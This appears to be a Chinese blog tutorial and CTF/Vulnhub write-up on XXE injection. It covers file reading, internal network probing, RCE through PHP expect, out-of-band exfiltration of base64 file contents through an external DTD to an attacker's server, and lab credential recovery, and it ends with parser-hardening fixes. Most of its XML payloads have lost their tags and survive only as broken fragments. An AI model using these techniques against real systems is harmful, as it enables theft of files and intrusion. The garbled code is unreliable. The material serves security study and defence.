XXE&XML之利用检测绕过

目录

XML讲解

漏洞利用

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

XXE 漏洞修复与防御方案-php,java,python-过滤及禁用 

XXE&XML之利用检测绕过_第1张图片

XML讲解

XML定义:XML被设计为传输和存储数据,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。 

XML与HTML对比:

1.XML被设计用来传输和存储数据,焦点是数据的内容。HTML被设计为显示数据,及焦点是数据的外观。

2.XML旨在传输信息。而HTML旨在显示信息。

XXE漏洞

全称:XML External Entity Injection

xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件

带来的危害有哪些:

1.DOS攻击

2.SSRF攻击

3.使用file协议读取任意文件

4.端口探测

5.执行系统命令

下面为一些脚本支持的协议

XML典型代码 





 
 
 
 
 
]]]>


Dave
Tom
Reminder
You are a good man

DTD

DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明,也可以在外部引用。

内部声明DTD  
外部声明DTD   
或者

漏洞利用

在确认有XXE漏洞存在时,存在输入接口

如:pikachu靶场中xxe漏洞处

XXE&XML之利用检测绕过_第2张图片

玩法-读取文件


 
]>
&xxe;

//xxe为变量,读取test.txt,利用file协议,后面为文件所在位置
//输出出来

玩法-内网探针或攻击内网应用(触发漏洞地址)

实际应用中基本碰不到

可以判断对方是否存在该文件,及端口

前提条件

  • 内网IP地址
  • 开放端口
  • 存在xxe漏洞
  • 构造漏洞地址



]>
&rabbit;


//这里后面应该为文件,不能为网址

玩法-RCE

该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令



]>
&xxe;

玩法-引入外部实体 DTD



%file;
]>
&send;


//evil2.dtd


关系 

XXE&XML之利用检测绕过_第3张图片

 前面几个实例都是结果进行了回显

无回显-读取文件(本地环境测试)


php://filter/read=convert.base64-encode/resource=d:/test.txt">
evil2.dtd">
%dtd;
%send;
]>

evil2.dtd

"?data=%file;'>"
>
%payload;

//相当于读了文件放在你指定地址的服务器上,所以日志是你指定服务器上的日志

打开pikachu靶场xxe所在的代码         默认vul\xxe\xxe_1.php

XXE&XML之利用检测绕过_第4张图片

 暂时注释箭头所处部分,就相当于无回显

打开apache的设置文件httpd.conf,customlog前有注释的去掉注释

XXE&XML之利用检测绕过_第5张图片

 在php扩展中开启log_config_module

XXE&XML之利用检测绕过_第6张图片

 打开access.log文件

XXE&XML之利用检测绕过_第7张图片

 进行base64解密得到文本内容        5oiR54ix5ZCD55OcIQ==

 XXE&XML之利用检测绕过_第8张图片

 取消刚才的注释

利用:让对方访问你的网站,生成日志查看

协议-读文件(绕过)

参考文章:CTF XXE - MustaphaMond - 博客园        XML讲解,绕过等


 ]>
&f;

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

靶场下载地址:https://github.com/c0ny1/xxe-lab

例:php-xxe

如何检测:(burp抓包send to spider输入关键字爬行查看)MIME type:    XML

1.数据格式类型:如果发现有testMikasa  类型

若有回显,可以进行测试,随便输入标签看是否回显相应的值如dsdd,看是否回显dsdd
2.抓包发现  content-type中是  text/xml  或者 application/xml

3.更改Content-Type值看返回值

XXE&XML之利用检测绕过_第9张图片



]>
&test;Mikasa

XXE&XML之利用检测绕过_第10张图片

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

更改Content-Type值看返回值       原数据包:application/json       修改为:application/xml

http://web.jarvisoj.com:9882/



]>
&f;

XXE&XML之利用检测绕过_第11张图片

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag

下载地址:https://download.vulnhub.com/xxe/XXE.zip

 下载解压以vm运行.ovf文件导入即可

(1)如图,为环境搭建好之后的状态,暂时什么都未知

XXE&XML之利用检测绕过_第12张图片

(2)攻击机kali,查看ip

 XXE&XML之利用检测绕过_第13张图片

(3)使用nmap扫描网段,看到可疑IP,发现80端口开放

XXE&XML之利用检测绕过_第14张图片 (4)浏览器尝试访问,成功

XXE&XML之利用检测绕过_第15张图片

(5) 使用kali工具dirsearch对网站进行目录扫描,发现敏感文件robots.txt

下载使用:kali安装dirsearch工具以及使用_一颗努力的小白菜的博客-CSDN博客_kali安装dirsearch

python3 dirsearch.py -u http://192.168.80.128 -e*

XXE&XML之利用检测绕过_第16张图片

 (6)访问192.168.159.223/robots.txt,再次发现两个敏感文件,依次访问

XXE&XML之利用检测绕过_第17张图片

XXE&XML之利用检测绕过_第18张图片

 XXE&XML之利用检测绕过_第19张图片

admin.php 

由上面访问的结果来看,xxe文件可以访问,但是admin.php文件访问失败,但是文件存在,其中必定由猫腻,我们先对xxe页面进行渗透看看

1.burp抓包

XXE&XML之利用检测绕过_第20张图片

2.构造payload,成功验证出存在XXE漏洞注入

XXE&XML之利用检测绕过_第21张图片

3.因为前面扫描出存在admin.php文件,但是无法访问,我们可以通过这里的XXE注入,读取admin.php文件。构造如图,成功读取到admin.php源码



]>
&name;1




//使用php://filter/read/convert.base64-encode/resource=admin.php的好处就是不用考虑文件完整目录

XXE&XML之利用检测绕过_第22张图片 4.base64解码

XXE&XML之利用检测绕过_第23张图片

 5.从php源码可找出又存在一个敏感文件,并可以通过得到的账号administhebest和密码登录,密码使用md5加密,解密得admin@123即可 XXE&XML之利用检测绕过_第24张图片

XXE&XML之利用检测绕过_第25张图片

 6.尝试登录/xxe/admin.php,点击flag

因为当时burp抓包时是在xxe目录下查找到的,所以登录时要用xxe/admin.php

XXE&XML之利用检测绕过_第26张图片

 XXE&XML之利用检测绕过_第27张图片

XXE&XML之利用检测绕过_第28张图片

7.最后得到flag的网站,访问再次失败,直接再次使用XML注入获取源码即可,如图

XXE&XML之利用检测绕过_第29张图片

 base64解密

XXE&XML之利用检测绕过_第30张图片

 通过判断,这里得加密方式为base32,先base32解密后再使用base64解密,最后得出存在flag得路径

XXE&XML之利用检测绕过_第31张图片

 XXE&XML之利用检测绕过_第32张图片

 7.访问路径,base64解密

XXE&XML之利用检测绕过_第33张图片

XXE&XML之利用检测绕过_第34张图片

 8.使用php语言写的,php在线运行得到flag为SAFCSP{xxe_is_so_easy}

XXE&XML之利用检测绕过_第35张图片

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://github.com/enjoiz/XXEinjector

7.XXEinjector:一款功能强大的自动化XXE注射工具 - bmjoker - 博客园

XXE 漏洞修复与防御方案-php,java,python-过滤及禁用 

方法一:禁用外部实体

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方法二:过滤用户提交的XML数据

过滤关键词:


参考文章:第39天-WEB 漏洞-XXE&XML 之利用检测绕过全解_IsecNoob的博客-CSDN博客

vulnhub XXE靶场复现_向开花的博客-CSDN博客_xxe漏洞靶场

你可能感兴趣的:(xml,php,安全)